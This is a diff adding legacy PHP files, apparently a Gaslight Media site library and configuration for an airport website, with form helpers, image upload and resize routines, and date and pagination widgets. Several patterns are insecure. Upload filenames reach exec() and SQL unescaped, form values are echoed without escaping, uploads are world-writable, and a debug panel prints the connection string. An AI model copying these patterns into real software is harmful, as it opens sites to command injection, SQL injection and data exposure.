+ $out = '<ul class="admin_nav">';
+ foreach( $nav as $link => $url )
+ {
+ $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+ }
+ $out .= '</ul>';
+ }
+ echo $out;
+ }
+
+ /**
+ * html_header :Opens up the html tags, and includes the style sheet link
+ generates a header table on the top of the page it's called on.
+ * @param $title: Page Title
+ * @param $msg: message to display
+ * @param $$img : image to display
+ *
+ * @return void
+ * @access
+ **/
+ function html_header($title, $msg, $img)
+ {
+ $header_table_width = "400";
+ $header_table_align = "center";
+
+ ?>
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd">
+ <html>
+ <head>
+ <title><?echo $title?></title>
+ <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+ </head>
+ <body>
+ <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+ <tr class="headertr">
+ <td class="headertd">
+ <?
+ if($img)
+ {
+ ?>
+ <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+ <?
+ }
+ ?>
+ </td>
+ </tr>
+ <tr>
+ <td class="headertd2" align="center">
+ <div class="headerh2" align="center"><?echo "$msg"?></div>
+ </td>
+ </tr>
+ </table>
+ <?
+ }
+
+ /**
+ * form_header :Opens up the form tag, and includes the hidden assoc array as hidden
+ fields.
+ * @param $action: string form action string
+ * @param $method: string Method of form
+ * @param $$hidden = "" : assoc array with $hidden($name => $value)
+ *
+ * @return void
+ * @access
+ **/
+ function form_header($action, $method, $hidden = "")
+ {
+ echo "<form action=\"$action\" method=\"$method\"
+ enctype=\"multipart/form-data\">";
+ if($hidden != "" && is_array($hidden))
+ {
+ foreach($hidden as $key=>$value)
+ {
+ echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+ }
+ }
+ }
+
+ /**
+ * text_area :Creates textarea with good default values for rows cols and wrap.
+ * @param $name: string form action string
+ * @param $value: string Method of form
+ * @param $$rows = 15: int4 number of rows in textarea box
+ * @param $$cols = 50: int4 number of cols in textarea box
+ * @param $$wrap = "virtual" : string the wrap value for the textarea box
+ *
+ * @return void
+ * @access
+ **/
+ function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" )
+ {
+ echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\"
+ rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+ }
+
+ /**
+ * text_box :Creates a input box for text with 35 as default size
+ * @param $name: string name of text box
+ * @param $value: string value of text box
+ * @param $$size = 35 : string size of text box
+ *
+ * @return void
+ * @access
+ **/
+ function text_box($name, $value, $size = 35)
+ {
+ echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\"
+ value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+ }
+
+ /**
+ * form_footer :Closes up the form tag, and includes the submit button
+ * @param $name: string form action string
+ * @param $$suppress = 0: string Method of form
+ * @param $$cs : int colspan for td
+ *
+ * @return void
+ * @access
+ **/
+ function form_footer($name, $suppress = 0, $cs)
+ {
+ echo "<tr><td colspan=\"$cs\" align=center>
+ <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+ if($suppress == 1)
+ {
+ echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+ }
+ /* echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+ echo "</td>";
+ }
+
+ /* Graphics Libraries */
+
+ /**
+ * process_image :Main function for image processing
+ * NOTES:
+ * This function does the following:
+ *
+ * 1) places image into original folder
+ *
+ * 2) makes three images from original size and places them
+ * into the RESIZED, MIDSIZED, and THUMB folders
+ * @param $image: The variable of the image being post from the form
+ * @param $$image_name : The variable_name of the image being post
+ *
+ * @return string - Returns $image_name
+ * @access
+ **/
+ function process_image ($image,$image_name)
+ {
+ if(!defined("ORIGINAL_PATH"))
+ {
+ html_error("this not defined original_path",1);
+ }
+ if(!defined("BANNER_PATH"))
+ {
+ html_error("this not defined banner_path",1);
+ }
+ if(!defined("RESIZED_PATH"))
+ {
+ html_error("this not defined resized_path",1);
+ }
+ if(!defined("MIDSIZED_PATH"))
+ {
+ html_error("this not defined midsized_path",1);
+ }
+ if(!defined("THUMB_PATH"))
+ {
+ html_error("this not defined thumb_path",1);
+ }
+ $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+ img_resize(ORIGINAL_PATH.$image_upload_array[0],BANNER_PATH.$image_upload_array[0],ITEM_BANNER);
+ img_resize(ORIGINAL_PATH.$image_upload_array[0],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+ img_resize(RESIZED_PATH.$image_upload_array[0],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+ img_resize(MIDSIZED_PATH.$image_upload_array[0],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+ $image_name = $image_upload_array[0];
+ return($image_name);
+ }
+
+ /**
+ * img_resize :Resizes an image based on a full scale jpeg or gif
+ * @param $image: path to image which needs to be resized
+ * @param $thumb: path where resized image will live
+ * @param $$size : using axis size of new image
+ *
+ * @return array $img_resize_array
+ * @access
+ **/
+ function img_resize($path2image,$path2thumb,$size)
+ {
+ exec( "which convert", $output, $return );
+ if( $return == 0 )
+ {
+ $command = $output[0];
+ $pos = strpos($command,"convert");
+ $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+ }
+ else
+ {
+ $Path2GraphicsTools = "/usr/X11R6/bin";
+ }
+ $imageName = basename($path2image);
+ $thumbName = basename($path2thumb);
+
+ exec("$Path2GraphicsTools/convert -quality 100 -scale $size $path2image $path2thumb");
+
+ $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+ return($img_resize_array);
+ }
+
+ /**
+ * img_upload :Function moves the image to the destination directory
+ Checking to make sure that it does not have same named file in dicectory.
+ Image must be either jpg ,png or gif format file to be uploaded.
+ * @param $form_field: $form_field of image
+ * @param $img_name: $form_field of image with _name
+ * @param $$destination_path : path to store uploaded image
+ *
+ * @return array $img_upload_array
+ * @access
+ **/
+ function img_upload($form_field,$img_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name))
+ {
+ $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+ }
+
+ $size = getImageSize($form_field);
+
+ if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 )
+ {
+ $img_name_in_use = "FALSE";
+ if( file_exists(RESIZED_PATH.$img_name) )
+ {
+ $img_name_in_use = "TRUE";
+ }
+
+ if ($img_name_in_use == "TRUE")
+ {
+ $new_img_name = mktime().$img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ else
+ {
+ $new_img_name = $img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ }
+ else
+ {
+ echo '<p style="background-color:red;color:white;">'
+ .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+ .'<BR CLEAR=ALL>'
+ .'</p>'
+ ."Hit your browser's back button to continue"
+ .'<P>';
+ $error[0] = "ERROR";
+ return($error);
+ }
+
+ return($img_upload_array);
+ }
+
+ /**
+ * file_upload :Uploads a file same way as image_uploads does
+ * @param $form_field: $form_field of image
+ * @param $file_name: $form_field of image with _name
+ * @param $$destination_path : path to store uploaded image
+ *
+ * @return string $file_upload
+ * @access
+ **/
+ function file_upload($form_field,$file_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name))
+ {
+ $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+ }
+
+ if( file_exists(UP_BASE.$file_name) )
+ {
+ $img_name_in_use = "TRUE";
+ }
+
+ if ($file_name_in_use == "TRUE")
+ {
+ $new_file_name = mktime().$file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ else
+ {
+ $new_file_name = $file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ return($file_upload);
+ }
+
+ /* Misc. Functions */
+
+ /**
+ * http_strip :Strips the http:// part from start of string
+ * @param $&$string : $string
+ *
+ * @return string $stirng minus http:// in front
+ * @access
+ **/
+ function http_strip(&$string)
+ {
+ $test_string = strtolower($string);
+ if(substr($test_string,0,7) == "http://")
+ {
+ $string = substr($string,7);
+ }
+ }
+
+ /**
+ * footer : used for admin page footer to close out the top function
+ *
+ * @return void
+ * @access
+ **/
+ function footer()
+ {
+ $out = '
+ </body>
+ </html>
+ ';
+ echo $out;
+ }
+
+ /**
+ * top :Output the starting html and admin table tags
+ * @param $message: The title
+ * @param $hp: The help file to use
+ * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+ *
+ * @return void
+ * @access
+ **/
+ function top($message, $hp,$hp2 = NULL)
+ {
+ $out = '
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+ <html>
+ <head>
+ <title>Untitled</title>
+ <meta http-equiv="content-type" content="text/html;charset=utf-8">
+ <link rel="stylesheet" type="text/css" href="../main.css">
+ <script type="text/javascript" src="event.js"></script>
+ </head>
+ <body>
+ <h1>'.$message.'</h1>
+ ';
+ echo $out;
+ }
+
+ /**
+ * top2 : alias to top()
+ * @param $message: message title
+ * @param $hp: help file
+ * @param $$hp2 = NULL : gaslight help file
+ *
+ * @return
+ * @access
+ **/
+ function top2($message, $hp,$hp2 = NULL)
+ {
+ // make this an alias to top()
+ // by calling top instead of adding extra code
+ top($message,$hp,$hp2);
+
+ }
+
+ /********************************************************************************
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+ if( $DEBUG )
+ {
+ echo '<CENTER>
+ <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+ <TR VALIGN="middle" BGCOLOR="#9999CC">
+ <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+ <TD ALIGN="left">$Id: setup.phtml,v 1.8 2011/05/18 12:31:43 cscott Exp $</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+ <TD ALIGN="left">'.SITENAME.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+ <TD ALIGN="left">'.BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+ <TD ALIGN="left">'.UP_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+ <TD ALIGN="left">'.HELP_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+ <TD ALIGN="left">'.IMG_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+ <TD ALIGN="left">'.URL_BASE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+ <TD ALIGN="left">'.CONN_STR.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+ <TD ALIGN="left">'.STYLE.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+ <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+ <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+ <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+ <TD ALIGN="left">'.THUMB_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+ <TD ALIGN="left">'.ORIGINAL.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+ <TD ALIGN="left">'.RESIZED.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
+ <TD ALIGN="left">'.MIDSIZED.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+ <TD ALIGN="left">'.THUMB.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+ <TD ALIGN="left">'.$CALLED_FROM_DIR.' </TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+ <TD ALIGN="left">'.$BASE_PATH.'</TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
+ <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+ </TR>
+ <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+ <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+ <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+ </TR>
+ </TABLE>
+
+ <P>
+ <HR WIDTH="600">
+ <P>
+ </CENTER>
+ ';
+
+ }
+ /**
+ * htmlcode: Output code to enable htmlarea for the page
+ * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+ * @param $$w = 570: width of htmlarea in px
+ * @param $$h = 400: height of htmlarea in px
+ *
+ * @return void
+ * @access
+ **/
+ function htmlcode($w = 570,$h = 400)
+ {
+ echo '
+<style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: '.$h.' px; width: '.$w.' px; }
+ -->
+ /*]]>*/
+ </style>
+<script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "../htmlarea";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea/htmlarea.js">
+ </script>
+';
+ echo '
+ <script type="text/javascript">
+ //<![CDATA[
+
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ HTMLArea.loadPlugin("ContextMenu");
+ ';
+ }
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+ HTMLArea.loadPlugin("TableOperations");
+ ';
+ }
+ if( HTMLAREA_IMAGE_MANAGER )
+ {
+ echo '
+ HTMLArea.loadPlugin("ImageManager");
+ ';
+ }
+ if( HTMLAREA_CHARACTER_MAP )
+ {
+ echo '
+ HTMLArea.loadPlugin("CharacterMap");
+ ';
+ }
+ echo '
+ initdocument = function () {
+ var editor = new HTMLArea("description");
+
+ ';
+
+ echo '
+ editor.config.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+ "orderedlist", "unorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink"';
+ if( HTMLAREA_TABLES )
+ {
+ echo ', "inserttable"';
+ }
+ if( HTMLAREA_IMAGE_MANAGER )
+ {
+ echo ', "insertimage"';
+ }
+ echo ', "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+ ';
+ }
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+
+ // register the TableOperations plugin
+ editor.registerPlugin(TableOperations);
+ ';
+ }
+ if( HTMLAREA_CHARACTER_MAP )
+ {
+ echo '
+
+ // register the CharacterMap plugin
+ editor.registerPlugin(CharacterMap);
+ ';
+ }
+ echo '
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, \'load\', initdocument);
+ //]]>
+ </script>
+ ';
+ }
+
+ /**
+ * date_entry : Generate the select boxes for date entry
+ * month-day-year as drop down select
+ * @param $month:
+ * @param $day:
+ * @param $year:
+ * @param $month_name: name of select month
+ * @param $day_name: name of select day
+ * @param $$year_name : name of select year
+ *
+ * @return
+ * @access
+ **/
+ function date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ for($i=2000;$i<2023;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * contact_date_entry : build select boxes for date entry going backwords in years
+ * @param $month:
+ * @param $day:
+ * @param $year:
+ * @param $month_name: name of select month
+ * @param $day_name: name of select day
+ * @param $$year_name : name of select year
+ *
+ * @return void
+ * @access
+ **/
+ function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ $ystart = $cur_date['year'] - 10;
+ for($i=$ystart;$i<=$year;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * time_entry : build select boxes for time entry
+ * @param $H:
+ * @param $m:
+ * @param $F:
+ * @param $H_name: name of select hour
+ * @param $m_name: name of select min
+ * @param $$F_name : name of select sec
+ *
+ * @return
+ * @access
+ **/
+ function time_entry($H,$m,$F,$H_name,$m_name,$F_name)
+ {
+ $cur_date = getdate();
+ if($H == "")
+ {
+ $H = $cur_date['hours'];
+ }
+ if($m == "")
+ {
+ $m = $cur_date['minutes'];
+ }
+ if($H>12)
+ {
+ $F = "PM";
+ $H = $H - 12;
+ }
+ $time = "Hr:<select name=\"$H_name\" size=\"1\">";
+ for($i=1;$i<=12;$i++)
+ {
+ $time .= "<option value=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $H)
+ {
+ $time .= " selected";
+ }
+ $time .= ">$i\n";
+ }
+ $time .= "</select>\n";
+ $time .= "Min:<select name=\"$m_name\" size=\"1\">";
+ for($i=0;$i<60;$i=$i+15)
+ {
+ $time .= "<Option value=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $m)
+ {
+ $time .= " selected";
+ }
+ $time .= ">";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\n";
+ }
+ $time .= "</select>";
+ $time .= "<select name=\"$F_name\" size=\"1\">";
+ $time .= "<option value=\"AM\"";
+ if($F == "AM")
+ {
+ $time .= " selected";
+ }
+ $time .= ">AM\n";
+ $time .= "<option value=\"PM\"";
+ if($F == "PM")
+ {
+ $time .= " selected";
+ }
+ $time .= ">PM\n";
+ $time .= "</select>\n";
+ return $time;
+ }
+
+ /**
+ * get_parentid: get the (highest level) parent category for this id
+ * @param $id: id from bus_category table
+ *
+ * @return int parent
+ * @access
+ **/
+ function get_parentid( $id )
+ {
+ static $parentshow;
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ if(!is_array($parentshow))
+ {
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = db_auto_get_data( $qs );
+ }
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( get_parentid($parentrow[0]['parent']) );
+ }
+ }
+
+ /**
+ * build_picklist:Builds a pick list from an array
+ * @param $fieldname: fieldname field name for select
+ * @param $data: data array of data
+ * @param $selected: selected witch element is selected
+ * @param $$type = "standard": type Standard,multi
+ * @param $$auto = 0: auto
+ * @param $$width = NULL : width width controlled by css
+ *
+ * @return void
+ * @access
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ $autosubmit = "onChange=\"form.submit()\"";
+ if($width)
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ $select = "";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+
+ return( $str );
+
+ }
+
+ /**
+ * create_page_links:Create prev and next links
+ * to page through the results.
+ * @param $totalnum: The total result of the query
+ * @param $num: The total result for the page
+ * @param $$start=0: The starting num defaults to 0
+ * @param $params: variables to add to the url
+ * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+ *
+ * @return string of links
+ * @access
+ **/
+ function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+ {
+ // find out which page we're on.
+ if($totalnum!=0)
+ {
+ $total_pages = floor($totalnum / $page_length); // total pages = the total result divided by page length rounded down
+ $total_pages++; // then add one
+ if($start == 0) // if start is 0 then page is one
+ {
+ $page = 1;
+ }
+ else
+ {
+ $page = ($start / $page_length) + 1;
+ }
+ }
+
+ if($totalnum > $page_length && ( $page != $totalpages ) )
+ {
+ $end = $page_length + $start;
+ }
+ else
+ {
+ $end = $totalnum;
+ }
+ $last = $start - $page_length;
+ if(($start - $page_length) < 0)
+ $prev = "";
+ else
+ $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ if($end < $totalnum)
+ $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ else
+ $next = "";
+ $starting = $start + 1;
+ $last_c = $start + $num;
+ $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+ class="accenttext">'.$starting.' to '.$last_c.'</span>
+ <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' <span
+ class="pagetitle"></span> '.$next.'<BR></span></center>';
+ return($links);
+ }
+ }
+?>
--- /dev/null
+<?
+
+/********************************************************************************
+ *
+ * FILE: siteinfo.inc - Portable site information
+ *
+ * Copyright (C) 2002 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+if( !defined("SITEINFO") )
+{
+
+define( "SITEINFO", TRUE ); // Indicate that this file has been referenced
+// define( "DEBUG", 0 ); // Debug Level : 0=Off, 1, 2, 3, ... more debug info
+
+/********************************************************************************
+ *
+ * DO NOT EDIT THIS SECTION
+ *
+ ********************************************************************************/
+
+ // Find where this file is located
+
+$si_base_path = dirname( __FILE__ ); // Get Path where siteinfo resides
+$si_calling_script_name = basename( $SCRIPT_NAME ); // Get name of calling script
+
+$si_called_from_dir = substr( dirname($_SERVER["SCRIPT_FILENAME"]), strlen($si_base_path) );
+
+if( ($x = strlen($si_called_from_dir)) > 0 )
+ $si_base_url = $HTTP_HOST.substr( dirname($SCRIPT_NAME), 0, -strlen($si_called_from_dir) );
+ else
+ {
+ $si_script_name_dir = dirname($SCRIPT_NAME);
+ if( $si_script_name_dir == "/" )
+ $si_script_name_dir = "";
+ $si_base_url = $HTTP_HOST.$si_script_name_dir;
+ }
+
+$si_base_secure_url = "https://".$si_base_url;
+$si_base_insecure_url = "http://".$si_base_url;
+
+if( $HTTPS == "on" )
+ $si_base_url = "https://".$si_base_url;
+ else
+ $si_base_url = "http://".$si_base_url;
+
+
+/********************************************************************************
+ *
+ * Dynamic Configuration - Parameters that DO change based on location
+ *
+ ********************************************************************************/
+switch( $GLM_SERVER_ID )
+ {
+
+ case "ChuckAtHome.gaslightmedia.com":
+ case "chuckweb.gaslightmedia.com":
+ define( "SI_DEBUG", 0);
+ define( "SI_DB_HOST", "localhost" );
+ define( "SI_DB_NAME", "pellstonairport" );
+ define( "SI_DB_USER", "nobody" );
+ define( "SI_CUSTOMER_EMAIL", "cscott@localhost" );
+ define( "SI_CUSTOMER_INTERNAL_EMAIL", "cscott@localhost" );
+ define( "SI_DEBUG", 0 );
+ define( "SI_DEBUG_VIEW", TRUE );
+ define( "SI_DEBUG_MAIL", TRUE );
+ define( 'SI_PATH_TO_GRAPHICS_TOOLS', '/usr/bin' );
+ $base_secure_url = $base_url;
+ break;
+
+ case "devsys.gaslightmedia.com":
+ define( "DB_HOST", "devsys.gaslightmedia.com" );
+ define( "DB_NAME", "pellstonairport" );
+ define( "DB_USER", "nobody" );
+// define( "CUSTOMER_EMAIL", "steve@gaslightmedia.com" );
+ define( "CUSTOMER_EMAIL", "members@stignace.com" );
+ define( "CUSTOMER_INTERNAL_EMAIL", "ksimmons@lighthouse.net" );
+ define( "SI_DEBUG", 0);
+ define( "SI_DB_HOST", "devsys.gaslightmedia.com" );
+ define( "SI_DB_NAME", "pellstonairport" );
+ define( "SI_DB_USER", "nobody" );
